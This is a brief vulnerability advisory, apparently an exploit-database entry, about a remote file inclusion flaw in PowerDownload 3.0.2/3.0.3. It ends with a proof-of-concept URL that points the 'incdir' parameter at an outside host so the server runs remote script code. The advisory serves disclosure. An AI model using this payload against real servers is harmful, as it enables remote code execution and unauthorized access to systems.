PowerDownload 3.0.2/3.0.3 - IncDir Remote File Inclusion

                source: http://www.securityfocus.com/bid/13822/info

PowerDownload is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/download/downloads.php?release_id=650&incdir=http://www.example.com/